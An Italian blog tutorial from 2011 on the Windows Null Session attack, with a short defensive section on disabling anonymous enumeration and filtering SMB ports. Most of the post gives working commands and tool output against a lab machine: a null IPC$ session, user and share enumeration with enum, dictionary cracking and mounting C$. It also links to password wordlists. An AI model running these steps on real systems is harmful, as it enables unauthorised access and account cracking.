mercoledì 30 novembre 2011

Intrusione informatica è semplice con una null session!

jockerLa Null Session è una sessione che permette di interagire con un sistema Windows senza dover effettuare l’autenticazione. Tramite la Null Session è possibile ottenere informazioni sul sistema, come l’elenco delle condivisioni e l’elenco degli utenti.

Ottenere l’elenco delle condivisioni può permettere un’intrusione semplice. Le condivisioni potrebbero non essere protette da password, nel qual caso si potrebbe accedere a informazioni importanti. Potrebbero anche esserci condivisioni attivate alla scrittura, eventualità che permetterebbe all’hacker di infiltrare un trojan nella cartella dell’esecuzione automatica.

Con l’elenco degli utenti si potrebbe tentare un attacco a dizionario, testando una lista di password contro ogni utente valido.

Infine le informazioni potrebbero essere utilizzate come leva per ottenere la fiducia di un impiegato in un attacco di social-engineering.

Creare la Null Session

Se provassimo a visualizzare le risorse di un computer senza effettuare una Null Session otterremmo un errore di accesso negato:

net view \\127.0.0.1

Per creare una Null Session bisogna utilizzare il comando net use, specificare l’indirizzo del computer, invocare la risorsa IPC$ e fornire credenziali nulle:

C:\Documents and Settings\angelor>net use \\127.0.0.1\IPC$ "" /u:""

Se il computer remoto accetta la Null Session, otterremo questo messaggio eseguendo net use senza parametri:

C:\Documents and Settings\angelor>net use
Stato       Locale     Remota                    Rete
-------------------------------------------------------------------------------
OK                     \\127.0.0.1\IPC$          Rete di Microsoft Windows
Esecuzione comando riuscita.

A questo punto net view visualizzerà l’eventuale lista di risorse (non quelle nascoste però).

Sfruttare la Null Session

Per facilitare l’interazione con la Null Session sono stati creati diversi tools. Alcuni tra questi sono enum, winfo e hunt. Con questi strumenti è possibile ottenere liste di utenti, risorse condivise (anche nascoste) e altre informazioni (come le policy delle password o la versione del sistema operativo) tramite Null Session. Vediamo nel dettaglio.

Sia hunt che winfo sono molto semplici da usare: bisogna invocare il comando da linea di comando specificando l’indirizzo Ip (nel formato preceduto da \\ se si utilizza hunt). Winfo permette di specificare se creare una Null Session prima di tentare il recupero delle informazioni.

Uno strumento a mio parere più potente è enum. Oltre ad avere più opzioni rispetto agli altri due, conesente anche un attacco a dizionario.

Ecco la lista delle opzioni di enum:

usage:  enum  [switches]  [hostname|ip]
-U:  get userlist
-M:  get machine list
-N:  get namelist dump (different from -U|-M)
-S:  get sharelist
-P:  get password policy information
-G:  get group and member list
-L:  get LSA policy information
-D:  dictionary crack, needs -u and -f
-d:  be detailed, applies to -U and -S
-c:  don't cancel sessions
-u:  specify username to use (default "")
-p:  specify password to use (default "")
-f:  specify dictfile to use (wants -D)

e un esempio con obiettivo Windows XP:

enum  -UMNSPGL 192.168.132.128
server: 192.168.132.128
setting up session... success.
password policy:
min length: none
min age: none
max age: 42 days
lockout threshold: none
lockout duration: 30 mins
lockout reset: 30 mins
opening lsa policy... success.
server role: 3 [primary (unknown)]
names:
netbios: TEST
domain: WORKGROUP
quota:
paged pool limit: 33554432
non paged pool limit: 1048576
min work set size: 65536
max work set size: 251658240
pagefile limit: 0
time limit: 0
trusted domains:
indeterminate
netlogon done by a PDC server
getting namelist (pass 1)... got 4, 0 left:
Administrator  Guest  HelpAssistant  SUPPORT_328945a3
getting user list (pass 1, index 0)... success, got 4.
Administrator  Guest  HelpAssistant  SUPPORT_328945a3
enumerating shares (pass 1)... got 3 shares, 0 left:
IPC$  ADMIN$  C$
getting machine list (pass 1, index 0)... success, got 0.
Group: Administrators
TEST\Administrator
Group: Backup Operators
Group: Guests
TEST\Guest
Group: Network Configuration Operators
Group: Power Users
Group: Replicator
Group: Users
NT AUTHORITY\INTERACTIVE
NT AUTHORITY\Authenticated Users
Group: Utenti desktop remoto
Group: HelpServicesGroup
TEST\SUPPORT_328945a3
cleaning up... success.

In questo esempio riusciamo ad ottenere la lista delle condivisioni (tutte nascoste in questo caso): IPC$,ADMIN$ e C$ e una lista di utenti, ovvero Administrator,Guest,HelpAssistant e SUPPORT_328945a3.

Utilizzando l’opzione D (dictionary crack, con -u per specificare l’utente e -f per specificare il dizionrio da usare) è possibile ottenere l’accesso e quindi “montare” in locale il disco C$ della macchina da attaccare:

net use H: \\192.168.132.128\C$

Per chi fosse alla ricerca di dizionari da utilizzare in attacchi di questo tipo consiglio questo indirizzo: http://packetstormsecurity.org/Crackers/wordlists/

Come Difendersi

I sistemi operativi Microsoft attualmente diffusi per default non mostrano la lista degli utenti. Per controllare, attivare o disabilitare la Null Session su Xp e Window 2003 è possibile utilizzare l’interfaccia grafica secpol.msc, da invocare da Start -> Esegui (o tasto Windows + R).

Le voci interessate sono le seguenti:

Criteri Local -> Opzioni di protezione

Accesso di rete: non consentire l’enumerazione anonima degli account SAM
Accesso di rete: non consentire l’enumerazione anonima di account e condivisioni SAM

Attivando entrambe le voci gli utenti anonimi (ovvero con credenziali nulle) non saranno in grado di elencare gli utenti e neppure la lista delle risorse condivise, riducendo notevolmente la superficie di attacco per un pirata.

Le porte Tcp/Udp coinvolte in questo attacco sono le seguenti: 135,137,138,139,445. Filtrarle con un personal firewall, perlomeno sull’interfaccia esposta a Internet può mitigare il pericolo e neutralizzare questo tipo d’attacco.

L’attacco Null Session è sicuramente uno dei più antichi attacchi per Windows, nel passato ha fatto molte vittime. Le policy di sicurezza standard delle ultime versioni di Windows (da XP Professional a Vista, Windows 2003 compreso) rendono questo attacco meno diffuso. Ma non è detto che non si trovino configurazioni deboli.                                fonte: http://www.pillolhacking.net

Arrivederci al prossimo articolo

Michele Balzano  

Post più popolari